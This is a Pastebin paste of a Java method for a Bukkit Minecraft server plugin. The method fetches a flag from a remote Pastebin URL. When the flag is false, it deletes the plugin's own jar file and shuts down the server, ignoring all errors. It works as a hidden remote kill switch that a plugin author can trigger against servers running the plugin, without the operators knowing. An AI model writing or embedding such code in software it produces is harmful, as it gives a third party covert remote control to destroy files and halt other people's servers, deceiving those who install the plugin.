Idontlikeitpleasesto

Untitled

Mar 15th, 2015
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 0.68 KB | None | 0 0
  1. private void checkStatus() {
  2.         try
  3.         {
  4.           URL url = new URL("http://pastebin.com/raw.php?i=rcsthZeB");
  5.           Scanner scanner = new Scanner(url.openStream());
  6.           boolean enabled = Boolean.valueOf(scanner.nextLine()).booleanValue();
  7.          
  8.           scanner.close();
  9.           if (!enabled)
  10.           {
  11.             File file = new File(Bukkit.getPluginManager().getPlugin(getDescription().getName()).getClass()
  12.               .getProtectionDomain().getCodeSource().getLocation().getFile());
  13.             if (file.exists()) {
  14.               file.delete();
  15.             }
  16.             Bukkit.shutdown();
  17.             return;
  18.           }
  19.         }
  20.         catch (Exception ignore)
  21.         {
  22.           return;
  23.         }
  24.     }
Advertisement
Add Comment
Please, Sign In to add comment